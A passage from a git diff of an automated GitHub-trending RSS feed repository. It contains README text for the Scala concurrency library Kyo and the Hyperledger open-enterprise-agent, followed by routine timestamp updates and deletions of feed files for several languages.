blocking. val c: Int &gt; IOs = Fibers.runBlocking(a) </code></pre> <blockquote> <p>Note: Handling the <code>Fibers</code> effect doesn't break referential transparency as with <code>IOs</code> but its usage is not trivial due to the limitations of the pending effects, especially <code>IOs</code>. Prefer <code>kyo.App</code> instead.</p> </blockquote> <p>The <code>Fibers</code> effect also offers a low-level API to create <code>Promise</code>s as way to integrate external async operations with fibers. These APIs should be used only in low-level integration code.</p> <pre><code class="language-scala">// Initialize a promise val a: Promise[Int] &gt; IOs = Fibers.promise[Int] // Try to fulfill a promise val b: Boolean &gt; IOs = a.map(_.complete(42)) </code></pre> <blockquote> <p>A <code>Promise</code> is basically a <code>Fiber</code> with all the regular functionality plus the <code>complete</code> method to manually fulfill the promise.</p> </blockquote> <h3>Queues: Concurrent Queuing</h3> <p>The <code>Queues</code> effect operates atop of <code>IOs</code> and provides thread-safe queue data structures based on the high-performance <a href="https://github.com/JCTools/JCTools">JCTools</a> library on the JVM. For ScalaJS, a simple <code>ArrayQueue</code> is used.</p> <p><strong>Bounded queues</strong></p> <pre><code class="language-scala">import kyo.concurrent.queues._ // A 'bounded' channel rejects new // elements once full val a: Queue[Int] &gt; IOs = Queues.bounded(capacity = 42) // Obtain the number of items in the queue // via the method 'size' in 'Queue' val b: Int &gt; IOs = a.map(_.size) // Get the queue capacity val c: Int &gt; IOs = a.map(_.capacity) // Try to offer a new item val d: Boolean &gt; IOs = a.map(_.offer(42)) // Try to poll an item val e: Option[Int] &gt; IOs = a.map(_.poll) // Try to 'peek' an item without removing it val f: Option[Int] &gt; IOs = a.map(_.peek) // Check if the queue is empty val g: Boolean &gt; IOs = a.map(_.isEmpty) // Check if the queue is full val h: Boolean &gt; IOs = a.map(_.isFull) </code></pre> <p><strong>Unbounded queues</strong></p> <pre><code class="language-scala">// Avoid `Queues.unbounded` since if queues can // grow without limits, the GC overhead can make // the system fail val a: Queues.Unbounded[Int] &gt; IOs = Queues.unbounded() // A 'dropping' queue discards new entries // when full val b: Queues.Unbounded[Int] &gt; IOs = Queues.dropping(capacity = 42) // A 'sliding' queue discards the oldest // entries if necessary to make space for new // entries val c: Queues.Unbounded[Int] &gt; IOs = Queues.sliding(capacity = 42) // Note how 'dropping' and 'sliding' queues // return 'Queues.Unbounded`. It provides // an additional method to 'add' new items // unconditionally val d: Unit &gt; IOs = c.map(_.add(42)) </code></pre> <p><strong>Concurrent access policies</strong></p> <p>It's also possible to specify a concurrent <code>Access</code> policy as the second parameter of the <code>Queues.init</code> methods. This configuration has an effect only on the JVM and is ignored in ScalaJS.</p> <table> <thead> <tr> <th>Policy</th> <th>Full Form</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>Mpmc</td> <td>Multiple Producers, Multiple Consumers</td> <td>Supports multiple threads/fibers simultaneously enqueuing and dequeuing elements. This is the most flexible but may incur the most overhead due to the need to synchronize between multiple producers and consumers.</td> </tr> <tr> <td>Mpsc</td> <td>Multiple Producers, Single Consumer</td> <td>Allows multiple threads/fibers to enqueue elements but restricts dequeuing to a single consumer. This can be more efficient than <code>Mpmc</code> when only one consumer is needed.</td> </tr> <tr> <td>Spmc</td> <td>Single Producer, Multiple Consumers</td> <td>Allows only a single thread/fiber to enqueue elements, but multiple threads/fibers can dequeue elements. Useful when only one source is generating elements to be processed by multiple consumers.</td> </tr> <tr> <td>Spsc</td> <td>Single Producer, Single Consumer</td> <td>The most restrictive but potentially fastest policy. Only one thread/fiber can enqueue elements, and only one thread/fiber can dequeue elements.</td> </tr> </tbody> </table> <p>Each policy is suitable for different scenarios and comes with its own trade-offs. For example, <code>Mpmc</code> is highly flexible but can be slower due to the need for more complex synchronization. <code>Spsc</code>, being the most restrictive, allows for optimizations that could make it faster for specific single-producer, single-consumer scenarios.</p> <p>You can specify the access policy when initializing a queue, and it is important to choose the one that aligns with your application's needs for optimal performance.</p> <pre><code class="language-scala">import kyo.concurrent.Access // Initialize a bounded queue with a // Multiple Producers, Multiple // Consumers policy val a: Queue[Int] &gt; IOs = Queues.bounded( capacity = 42, access = Access.Mpmc ) </code></pre> <h3>Channels: Asynchronous Communication</h3> <p>The <code>Channels</code> effect serves as an advanced concurrency primitive, designed to facilitate seamless and backpressured data transfer between various parts of your application. Built upon the <code>Fibers</code> effect, <code>Channels</code> not only ensures thread-safe communication but also incorporates a backpressure mechanism. This mechanism temporarily suspends fibers under specific conditions—either when waiting for new items to arrive or when awaiting space to add new items.</p> <pre><code class="language-scala">import kyo.concurrent.channels._ // A 'Channel' is initialized // with a fixed capacity val a: Channel[Int] &gt; IOs = Channels.init(capacity = 42) // It's also possible to specify // an 'Access' policy val b: Channel[Int] &gt; IOs = Channels.init( capacity = 42, access = Access.Mpmc ) </code></pre> <p>While <code>Channels</code> share similarities with <code>Queues</code>—such as methods for querying size (<code>size</code>), adding an item (<code>offer</code>), or retrieving an item (<code>poll</code>)—they go a step further by offering backpressure-sensitive methods, namely <code>put</code> and <code>take</code>.</p> <pre><code class="language-scala">// An example channel val a: Channel[Int] &gt; IOs = Channels.init(capacity = 42) // Adds a new item to the channel. // If there's no capacity, the fiber // is automatically suspended until // space is made available val b: Unit &gt; (Fibers with IOs) = a.map(_.put(42)) // Takes an item from the channel. // If the channel is empty, the fiber // is suspended until a new item is // made available val c: Int &gt; (Fibers with IOs) = a.map(_.take) // 'putFiber' returns a `Fiber` that // will complete once the put completes val d: Fiber[Unit] &gt; IOs = a.map(_.putFiber(42)) // 'takeFiber' also returns a fiber val e: Fiber[Int] &gt; IOs = a.map(_.takeFiber) </code></pre> <p>The ability to suspend fibers during <code>put</code> and <code>take</code> operations allows <code>Channels</code> to provide a more controlled form of concurrency. This is particularly beneficial for rate-sensitive or resource-intensive tasks where maintaining system balance is crucial.</p> <blockquote> <p>Important: While a <code>Channel</code> comes with a predefined item capacity, it's crucial to understand that there is no upper limit on the number of fibers that can be suspended by it. In scenarios where your application spawns an unrestricted number of fibers—such as an HTTP service where each incoming request initiates a new fiber—this can lead to significant memory consumption. The channel's internal queue for suspended fibers could grow indefinitely, making it a potential source of unbounded queuing and memory issues. Exercise caution in such use-cases to prevent resource exhaustion.</p> </blockquote> <h3>Meters: Computational Limits</h3> <p>The <code>Meters</code> effect offers utilities to regulate computational execution, be it limiting concurrency or managing rate. It is equipped with a range of pre-set limitations, including mutexes, semaphores, and rate limiters, allowing you to apply fine-grained control over task execution.</p> <pre><code class="language-scala">import kyo.concurrent.meters._ // 'mutex': One computation at a time val a: Meter &gt; IOs = Meters.mutex // 'semaphore': Limit concurrent tasks val b: Meter &gt; IOs = Meters.semaphore(concurrency = 42) // 'rateLimiter': Tasks per time window val c: Meter &gt; (Timers with IOs) = Meters.rateLimiter( rate = 10, period = 1.second ) // 'pipeline': Combine multiple 'Meter's val d: Meter &gt; (Timers with IOs) = Meters.pipeline(a, b, c) </code></pre> <p>The <code>Meter</code> class comes with a handful of methods designed to provide insights into and control over computational execution.</p> <pre><code class="language-scala">// An example 'Meter' val a: Meter &gt; IOs = Meters.mutex // Get available permits val b: Int &gt; IOs = a.map(_.available) // Check for available permit val c: Boolean &gt; IOs = a.map(_.isAvailable) // Use 'run' to execute tasks // respecting meter limits val d: Int &gt; (Fibers with IOs) = a.map(_.run(Math.cos(42).toInt)) // 'tryRun' executes if a permit is // available; returns 'None' otherwise val e: Option[Int] &gt; IOs = a.map(_.tryRun(Math.cos(42).toInt)) </code></pre> <h3>Timers: Scheduled Execution</h3> <p>The <code>Timers</code> effect is designed for control over the timing of task execution.</p> <pre><code class="language-scala">import kyo.concurrent.timers._ // An example computation to // be scheduled val a: Unit &gt; IOs = IOs(()) // Schedule a delayed task val b: TimerTask &gt; Timers = Timers.schedule(delay = 1.second)(a) // Recurring task with // intial delay val c: TimerTask &gt; Timers = Timers.scheduleAtFixedRate( initialDelay = 1.minute, period = 1.minute )(a) // Recurring task without // initial delay val d: TimerTask &gt; Timers = Timers.scheduleAtFixedRate( period = 1.minute )(a) // Schedule with fixed delay between tasks val e: TimerTask &gt; Timers = Timers.scheduleWithFixedDelay( initialDelay = 1.minute, period = 1.minute )(a) // without initial delay val f: TimerTask &gt; Timers = Timers.scheduleWithFixedDelay( period = 1.minute )(a) // Shutdown the current timer val g: Unit &gt; Timers = Timers.shutdown // Use 'run' to handle the Timers // effect with the default 'Timer' val h: Unit &gt; IOs = Timers.run(g) // Specify the 'Timer' explictly val i: Unit &gt; IOs = Timers.run(Timer.default)(g) </code></pre> <p><code>TimerTask</code> offers methods for more granular control over the scheduled tasks.</p> <pre><code class="language-scala">// Example TimerTask val a: TimerTask &gt; Timers = Timers.schedule(1.second)(()) // Try to cancel the task val b: Boolean &gt; Timers = a.map(_.cancel) // Check if the task is cancelled val c: Boolean &gt; Timers = a.map(_.isCancelled) // Check if the task is done val d: Boolean &gt; Timers = a.map(_.isDone) </code></pre> <h3>Latches: Fiber Coordination</h3> <p>The <code>Latches</code> effect serves as a coordination mechanism for fibers in a concurrent environment, primarily used for task synchronization. It provides a low-level API for controlling the flow of execution and ensuring certain tasks are completed before others, all while maintaining thread safety.</p> <pre><code class="language-scala">import kyo.concurrent.latches._ // Initialize a latch with 'n' permits val a: Latch &gt; IOs = Latches.init(3) // Await until the latch releases val b: Unit &gt; (Fibers with IOs) = a.map(_.await) // Release a permit from the latch val c: Unit &gt; IOs = a.map(_.release) // Get the number of pending permits val d: Int &gt; IOs = a.map(_.pending) </code></pre> <h3>Atomics: Concurrent State</h3> <p>The <code>Atomics</code> effect provides a set of thread-safe atomic variables to manage mutable state in a concurrent setting. Available atomic types include Int, Long, Boolean, and generic references.</p> <pre><code class="language-scala">import kyo.concurrent.atomics._ // Initialize atomic variables val aInt: AtomicInt &gt; IOs = Atomics.initInt(0) val aLong: AtomicLong &gt; IOs = Atomics.initLong(0L) val aBool: AtomicBoolean &gt; IOs = Atomics.initBoolean(false) val aRef: AtomicRef[String] &gt; IOs = Atomics.initRef("initial") // Fetch values val b: Int &gt; IOs = aInt.map(_.get) val c: Long &gt; IOs = aLong.map(_.get) val d: Boolean &gt; IOs = aBool.map(_.get) val e: String &gt; IOs = aRef.map(_.get) // Update values val f: Unit &gt; IOs = aInt.map(_.set(1)) val g: Unit &gt; IOs = aLong.map(_.lazySet(1L)) val h: Boolean &gt; IOs = aBool.map(_.cas(false, true)) val i: String &gt; IOs = aRef.map(_.getAndSet("new")) </code></pre> <h3>Adders: Concurrent Accumulation</h3> <p>The <code>Adders</code> effect offers thread-safe variables for efficiently accumulating numeric values. The two primary classes, <code>LongAdder</code> and <code>DoubleAdder</code>, are optimized for high-throughput scenarios where multiple threads update the same counter.</p> <pre><code class="language-scala">import kyo.concurrent.adders._ // Initialize Adders val longAdder: LongAdder &gt; IOs = Adders.initLong val doubleAdder: DoubleAdder &gt; IOs = Adders.initDouble // Adding values val a: Unit &gt; IOs = longAdder.map(_.add(10L)) val b: Unit &gt; IOs = doubleAdder.map(_.add(10.5)) // Increment and Decrement LongAdder val c: Unit &gt; IOs = longAdder.map(_.increment) val d: Unit &gt; IOs = longAdder.map(_.decrement) // Fetch summed values val e: Long &gt; IOs = longAdder.map(_.get) val f: Double &gt; IOs = doubleAdder.map(_.get) // Resetting the adders val g: Unit &gt; IOs = longAdder.map(_.reset) val h: Unit &gt; IOs = doubleAdder.map(_.reset) </code></pre> <h2>License</h2> <p>See the <a href="https://github.com/getkyo/kyo/raw/master/LICENSE.txt">LICENSE</a> file for details.</p> - - - nise-nabe/timecount - 2023-09-24T01:41:08Z - tag:github.com,2023-09-24:/nise-nabe/timecount - - <p></p><hr><h1>This is your new Play 2.1 application</h1> <p>This file will be packaged with your application, when using <code>play dist</code>.</p> <p><a href="https://lit-ocean-9730.herokuapp.com/">https://lit-ocean-9730.herokuapp.com/</a></p> - - - hiradimir/SimpleEchoServer_finagle - 2023-09-24T01:41:08Z - tag:github.com,2023-09-24:/hiradimir/SimpleEchoServer_finagle - - <p></p><hr><h1>SimpleEchoServer_finagle</h1> - \ No newline at end of file diff --git a/scala/weekly/index.xml b/scala/weekly/index.xml deleted file mode 100644 index b000df937f5..00000000000 --- a/scala/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Scala Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:43Z - Weekly Trending of Scala in GitHub - - - hyperledger-labs/open-enterprise-agent - 2023-09-24T02:00:43Z - tag:github.com,2023-09-24:/hyperledger-labs/open-enterprise-agent - - <p>Open Enterprise Cloud Agent</p><hr><p align="center"> <a href="https://atalaprism.io"> <img src="https://raw.githubusercontent.com/hyperledger-labs/open-enterprise-agent/main/docs/images/logos/atala-prism-logo.png" alt="atala-prism-logo" width="513px" height="99px"> </a> <br> <i> <font size="18"> Open Enterprise Cloud Agent </font> </i> <br> <br> <a href="https://coveralls.io/github/input-output-hk/atala-prism-building-blocks?branch=main"><img src="https://coveralls.io/repos/github/input-output-hk/atala-prism-building-blocks/badge.svg?branch=main&amp;t=91BUzX&amp;kill_cache=1" alt="Coverage Status"></a> <a href="https://github.com/input-output-hk/atala-prism-building-blocks/actions/workflows/prism-unit-tests.yml"> <img src="https://github.com/input-output-hk/atala-prism-building-blocks/actions/workflows/prism-unit-tests.yml/badge.svg?sanitize=true" alt="Unit tests"> </a> <a href="https://github.com/input-output-hk/atala-prism-building-blocks/actions/workflows/e2e-tests.yml"> <img src="https://github.com/input-output-hk/atala-prism-building-blocks/actions/workflows/e2e-tests.yml/badge.svg?sanitize=true" alt="End-to-end tests"> </a> <a href="https://github.com/input-output-hk/atala-prism-building-blocks/actions/workflows/performance-tests.yml"> <img src="https://github.com/input-output-hk/atala-prism-building-blocks/actions/workflows/performance-tests.yml/badge.svg?sanitize=true" alt="Performance tests"> </a> </p> <hr> <h2>Overview</h2> <p>The Enterprise Cloud Agent is a W3C/Aries standards-based cloud agent written in Scala that provides self-sovereign identity services to build products and solutions based on it. The term "cloud" indicates that it operates on servers and is not intended for use on mobile devices.</p> <p>Enterprise Cloud Agent supports standard-based protocols built on top of DIDComm V2 for issuing, verifying, and holding verifiable credentials using both JWT and Hyperledger AnonCreds (coming soon) formats.</p> <p>In order to use the Cloud Agent, you establish a business logic controller responsible for communicating with the agent (initiating HTTP requests and processing webhook notifications). This controller can be created using any programming language capable of sending and receiving HTTP requests.</p> <p>As a result, you can concentrate on crafting self-sovereign identity solutions using well-known web development tools, without the need to delve into the intricacies of lower-level cryptography and identity protocol internals.</p> <h2>Features</h2> <ul> <li>Rest API</li> <li>DIDComm V2</li> <li>W3C-compliant <code>did:prism</code> and <code>did:peer</code> methods</li> <li>Credential types <ul> <li>JWT</li> <li>AnonCreds (coming soon)</li> </ul> </li> <li>HTTP events notification</li> <li>Cardano as a distributed ledger</li> <li>Secrets management with Hashicorp vault</li> <li>Multi-tenancy (coming soon)</li> </ul> <h2>Example use cases</h2> <ul> <li>A government issues verifiable credentials (VCs) to its citizens to prove their identity and access government services.</li> <li>An enterprise issues VCs to its employees to prove their employment and access enterprise services.</li> <li>A Web3 authentication service based on verifiable presentations (VPs).</li> </ul> <h2>Getting started</h2> <h3>Understanding SSI</h3> <p>Before starting to use the Cloud Agent, it is important to understand the basic concepts of self-sovereign identity (SSI). The following resources provide a good introduction to SSI:</p> <ul> <li><a href="https://docs.atalaprism.io/docs/category/concepts/">Atala PRISM SSI introduction</a></li> <li><a href="https://www.edx.org/learn/computer-programming/the-linux-foundation-getting-started-with-self-sovereign-identity">Linux Foundation Course: Getting Started with SSI</a></li> </ul> <h3>Architecture</h3> <p>The next diagram offers a concise architectural overview, depicting a Cloud Agent instance, a controller, the interconnections linking the controller and agent, as well as the external routes to other agents and public ledgers across the Internet.</p> <p><img src="https://raw.githubusercontent.com/hyperledger-labs/open-enterprise-agent/main/docs/images/cloud-agent-architecture-dark.png#gh-dark-mode-only" alt="Enterprise Cloud Agent architecture"> <img src="https://raw.githubusercontent.com/hyperledger-labs/open-enterprise-agent/main/docs/images/cloud-agent-architecture-light.png#gh-light-mode-only" alt="Enterprise Cloud Agent architecture"></p> <h3>Installation and usage</h3> <p>Enterprise Cloud Agent is distributed as a Docker image to be run in a containerized environment. All versions can be found <a href="https://github.com/input-output-hk/atala-prism-building-blocks/pkgs/container/prism-agent">here</a>.</p> <p>The following sections describe how to run the Enterprise Cloud Agent in different configurations.</p> <h4>Configuration</h4> <p>The Enterprise Cloud Agent can be configured to use different types of ledger, secret storage and DID persistence. Any combination of options is available, but the most common configurations are:</p> <table> <thead> <tr> <th>Configuration</th> <th>Secret Storage</th> <th>DIDs persistence</th> <th>VDR</th> </tr> </thead> <tbody> <tr> <td>Dev</td> <td>PostgreSQL</td> <td>No</td> <td>In-memory</td> </tr> <tr> <td>Pre-production</td> <td>PostgreSQL</td> <td>Yes</td> <td>Cardano testnet (preview or preprod)</td> </tr> <tr> <td>Production</td> <td>Hashicorp</td> <td>Yes</td> <td>Cardano mainnet</td> </tr> </tbody> </table> <p>To start playing with Cloud Agent, we recommend using the Dev configuration. Pre-production and production configurations are intended for real-world use cases and require additional more complex configurations of the Cardano stack setup.</p> <blockquote> <p>If you're interested in a hosted version of Enterprise Cloud Agent, please, contact us at <a href="https://atalaprism.io">atalaprism.io</a>.</p> </blockquote> <h4>System requirements</h4> <p>System requirements can vary depending on the use case. The following are the minimum requirements for running the Cloud Agent with the Dev configuration:</p> <ul> <li>Linux or MacOS operating system</li> <li>Docker (with docker-compose support)</li> <li>Modern x86 or ARM-based CPU</li> <li>&gt;=2GB RAM</li> </ul> <h4>Running locally in demo mode</h4> <p>Here is a general example of running a Cloud Agent locally:</p> <pre><code class="language-bash">PORT=${PORT} PRISM_AGENT_VERSION=${PRISM_AGENT_VERSION} PRISM_NODE_VERSION=${PRISM_NODE_VERSION} \ docker compose \ -p "${AGENT_ROLE}" \ -f ./infrastructure/shared/docker-compose-demo.yml \ up --wait </code></pre> <p>The <code>PORT</code> variable is used to specify the port number for the Cloud Agent to listen on. The <code>PRISM_AGENT_VERSION</code> and <code>PRISM_NODE_VERSION</code> variables are used to specify the versions of the Cloud Agent and PRISM Node to use. The <code>AGENT_ROLE</code> variable is used to specify the role of the Cloud Agent. The <code>AGENT_ROLE</code> variable can be set to <code>issuer</code>, <code>verifier</code> or <code>holder</code>.</p> <p>In real life, you will need to start at least two Cloud Agent instances with different roles. For example, you can start one instance with the <code>issuer</code> role and another one with the <code>holder</code> role. The <code>issuer</code> instance will be used to issue verifiable credentials (VCs) and the <code>holder</code> instance will be used to hold VCs. Here is an example of how you can do this:</p> <pre><code class="language-bash">PORT=8080 PRISM_AGENT_VERSION=1.12.0 PRISM_NODE_VERSION=2.2.1 \ docker compose \ -p "issuer" \ -f ./infrastructure/shared/docker-compose-demo.yml \ up --wait </code></pre> <pre><code class="language-bash">PORT=8090 PRISM_AGENT_VERSION=1.12.0 PRISM_NODE_VERSION=2.2.1 \ docker compose \ -p "holder" \ -f ./infrastructure/shared/docker-compose-demo.yml \ up --wait </code></pre> <p>If the Cloud Agent is started successfully, all the running containers should achieve <code>Healthy</code> state, and Cloud Agent Rest API should be available at the specified port, for example:</p> <ul> <li><code>http://localhost:8080/prism-agent</code> for the <code>issuer</code> instance</li> <li><code>http://localhost:8090/prism-agent</code> for the <code>holder</code> instance</li> </ul> <p>You can check the status of the running containers using the <a href="https://docs.atalaprism.io/agent-api/#tag/System/operation/systemHealth">health endpoint</a>:</p> <pre><code class="language-bash">$ curl http://localhost:8080/prism-agent/_system/health {"version":"1.12.0"} </code></pre> <blockquote> <p>For more information about all available configuration parameters, please, check <a href="https://docs.atalaprism.io/docs/atala-prism/prism-cloud-agent/environment-variables">Cloud Agent configuration</a> section at the documentation portal and edit the <code>docker-compose-demo.yml</code> file accordingly.</p> </blockquote> <h4>Compatibility between Cloud Agent and PRISM Node</h4> <p>There could be some incompatibilities between the most latest versions of Enterprise Cloud Agent and PRISM Node. Please, use the following table to check the compatibility between the versions:</p> <table> <thead> <tr> <th>Cloud Agent</th> <th>PRISM Node</th> </tr> </thead> <tbody> <tr> <td>&gt;=1.9.2</td> <td>2.2.1</td> </tr> <tr> <td>&lt;1.9.2</td> <td>2.1.1</td> </tr> </tbody> </table> <blockquote> <p>Please note: it is not guaranteed that the latest version of Enterprise Cloud Agent will work with the latest version of PRISM Node. We recommend using the versions from the table above.</p> </blockquote> <h3>Following the Enterprise Cloud Agent tutorials</h3> <p>The following tutorials will help you get started with the Cloud Agent and issue your first credentials:</p> <ul> <li><a href="https://docs.atalaprism.io/tutorials/category/dids/">Creating, updating and deactivating Decentralized Identifiers (DIDs)</a></li> <li><a href="https://docs.atalaprism.io/tutorials/connections/connection">Setting up connections between agents using out-of-band (OOB) protocol</a></li> <li><a href="https://docs.atalaprism.io/tutorials/credentials/issue">Issuing verifiable credentials (VCs)</a></li> <li><a href="https://docs.atalaprism.io/tutorials/credentials/present-proof">Presenting VC proofs</a></li> </ul> <h2>User documentation</h2> <p>All extended documentation, tutorials and API references for the PRISM ecosystem can be found at <a href="https://docs.atalaprism.io/">https://docs.atalaprism.io/</a></p> <h2>Contributing</h2> <p>Please read our <a href="https://raw.githubusercontent.com/hyperledger-labs/open-enterprise-agent/main/CONTRIBUTING.md">contributions guidelines</a> and submit your PRs. We enforce <a href="https://raw.githubusercontent.com/hyperledger-labs/open-enterprise-agent/main/DCO.md">developer certificate of origin (DCO) commit signing</a>.</p> <p>We also welcome issues submitted about problems you encounter in using Enterprise Cloud Agent.</p> <h2>License</h2> <p><a href="https://raw.githubusercontent.com/hyperledger-labs/open-enterprise-agent/main/LICENSE">Apache License Version 2.0</a></p> <hr> <p><strong>Love the repo? Give our repo a star <span>⭐</span> <span>⬆</span>.</strong></p> - - \ No newline at end of file diff --git a/scaml/daily/index.xml b/scaml/daily/index.xml index b5bcab07555..1ed1ba7ef1b 100644 --- a/scaml/daily/index.xml +++ b/scaml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Scaml Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:03Z + 2023-09-25T01:40:11Z Daily Trending of Scaml in GitHub \ No newline at end of file diff --git a/scaml/weekly/index.xml b/scaml/weekly/index.xml deleted file mode 100644 index 3cb4b52325f..00000000000 --- a/scaml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Scaml Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:38Z - Weekly Trending of Scaml in GitHub - - \ No newline at end of file diff --git a/scheme/daily/index.xml b/scheme/daily/index.xml index 84c6805fe8a..1dd00a8dc62 100644 --- a/scheme/daily/index.xml +++ b/scheme/daily/index.xml @@ -1,7 +1,14 @@ GitHub Scheme Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:05Z + 2023-09-25T01:40:13Z Daily Trending of Scheme in GitHub + + mgregson/icfp2011 + 2023-09-25T01:40:13Z + tag:github.com,2023-09-25:/mgregson/icfp2011 + + <p></p><hr> + \ No newline at end of file diff --git a/scheme/weekly/index.xml b/scheme/weekly/index.xml deleted file mode 100644 index 637518c4493..00000000000 --- a/scheme/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Scheme Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:39Z - Weekly Trending of Scheme in GitHub - - - bintracker/bintracker - 2023-09-24T02:00:39Z - tag:github.com,2023-09-24:/bintracker/bintracker - - <p>A hackable Chiptune Audio Workstation. https://bintracker.org</p><hr> - - - meain/evil-textobj-tree-sitter - 2023-09-24T02:00:39Z - tag:github.com,2023-09-24:/meain/evil-textobj-tree-sitter - - <p>Tree-sitter powered textobjects for evil mode in Emacs</p><hr> - - \ No newline at end of file diff --git a/scilab/daily/index.xml b/scilab/daily/index.xml index b61e9faab92..29436baedad 100644 --- a/scilab/daily/index.xml +++ b/scilab/daily/index.xml @@ -1,7 +1,7 @@ GitHub Scilab Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:19Z + 2023-09-25T01:40:26Z Daily Trending of Scilab in GitHub \ No newline at end of file diff --git a/scilab/weekly/index.xml b/scilab/weekly/index.xml deleted file mode 100644 index 2c89e9cdea4..00000000000 --- a/scilab/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Scilab Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:56Z - Weekly Trending of Scilab in GitHub - - \ No newline at end of file diff --git a/scss/daily/index.xml b/scss/daily/index.xml index 258d4eba9f3..df21e8ff8c4 100644 --- a/scss/daily/index.xml +++ b/scss/daily/index.xml @@ -1,14 +1,7 @@ GitHub SCSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:24Z + 2023-09-25T01:40:30Z Daily Trending of SCSS in GitHub - - zivhub/monophase - 2023-09-24T01:41:24Z - tag:github.com,2023-09-24:/zivhub/monophase - - <p>A one-column minimal responsive Jekyll blog theme</p><hr> - \ No newline at end of file diff --git a/scss/weekly/index.xml b/scss/weekly/index.xml deleted file mode 100644 index de4332d6440..00000000000 --- a/scss/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub SCSS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:58Z - Weekly Trending of SCSS in GitHub - - - syncfusion/ej2-javascript-ui-controls - 2023-09-24T02:00:58Z - tag:github.com,2023-09-24:/syncfusion/ej2-javascript-ui-controls - - <p>Syncfusion JavaScript UI controls library offer more than 50+ cross-browser, responsive, and lightweight HTML5 UI controls for building modern web applications.</p><hr> - - - creativetimofficial/blk-design-system-angular - 2023-09-24T02:00:58Z - tag:github.com,2023-09-24:/creativetimofficial/blk-design-system-angular - - <p></p><hr> - - - PrincessMaggy/hertechtrail_cohort7_project - 2023-09-24T02:00:58Z - tag:github.com,2023-09-24:/PrincessMaggy/hertechtrail_cohort7_project - - <p></p><hr> - - \ No newline at end of file diff --git a/sed/daily/index.xml b/sed/daily/index.xml index c6d4b80beea..12170316caf 100644 --- a/sed/daily/index.xml +++ b/sed/daily/index.xml @@ -1,7 +1,7 @@ GitHub sed Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:21Z + 2023-09-25T01:40:27Z Daily Trending of sed in GitHub \ No newline at end of file diff --git a/sed/weekly/index.xml b/sed/weekly/index.xml deleted file mode 100644 index 2c2da0f2ab5..00000000000 --- a/sed/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub sed Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:54Z - Weekly Trending of sed in GitHub - - \ No newline at end of file diff --git a/self/daily/index.xml b/self/daily/index.xml index 1c48cb1fd31..afc7efea415 100644 --- a/self/daily/index.xml +++ b/self/daily/index.xml @@ -1,7 +1,7 @@ GitHub Self Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:20Z + 2023-09-25T01:40:25Z Daily Trending of Self in GitHub \ No newline at end of file diff --git a/self/weekly/index.xml b/self/weekly/index.xml deleted file mode 100644 index a573b93f28a..00000000000 --- a/self/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Self Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:55Z - Weekly Trending of Self in GitHub - - \ No newline at end of file diff --git a/selinux-policy/daily/index.xml b/selinux-policy/daily/index.xml index cf50d008772..90f0911ea1e 100644 --- a/selinux-policy/daily/index.xml +++ b/selinux-policy/daily/index.xml @@ -1,7 +1,7 @@ GitHub SELinux Policy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:26Z + 2023-09-25T01:40:34Z Daily Trending of SELinux Policy in GitHub \ No newline at end of file diff --git a/selinux-policy/weekly/index.xml b/selinux-policy/weekly/index.xml deleted file mode 100644 index 7f33b15494b..00000000000 --- a/selinux-policy/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SELinux Policy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:59Z - Weekly Trending of SELinux Policy in GitHub - - \ No newline at end of file diff --git a/shaderlab/daily/index.xml b/shaderlab/daily/index.xml index 570cb2a5c2c..c35848585d3 100644 --- a/shaderlab/daily/index.xml +++ b/shaderlab/daily/index.xml @@ -1,7 +1,14 @@ GitHub ShaderLab Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:25Z + 2023-09-25T01:40:33Z Daily Trending of ShaderLab in GitHub + + RyanFloresTT/GBJAM11 + 2023-09-25T01:40:33Z + tag:github.com,2023-09-25:/RyanFloresTT/GBJAM11 + + <p></p><hr> + \ No newline at end of file diff --git a/shaderlab/weekly/index.xml b/shaderlab/weekly/index.xml deleted file mode 100644 index 17387dc3560..00000000000 --- a/shaderlab/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ShaderLab Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:02Z - Weekly Trending of ShaderLab in GitHub - - \ No newline at end of file diff --git a/shell/daily/index.xml b/shell/daily/index.xml index c816d5ef5ef..e2d848b6a14 100644 --- a/shell/daily/index.xml +++ b/shell/daily/index.xml @@ -1,28 +1,14 @@ GitHub Shell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:30Z + 2023-09-25T01:40:37Z Daily Trending of Shell in GitHub - ashishb/android-security-awesome - 2023-09-24T01:41:30Z - tag:github.com,2023-09-24:/ashishb/android-security-awesome - - <p>A collection of android security related resources</p><hr><h1>android-security-awesome <img 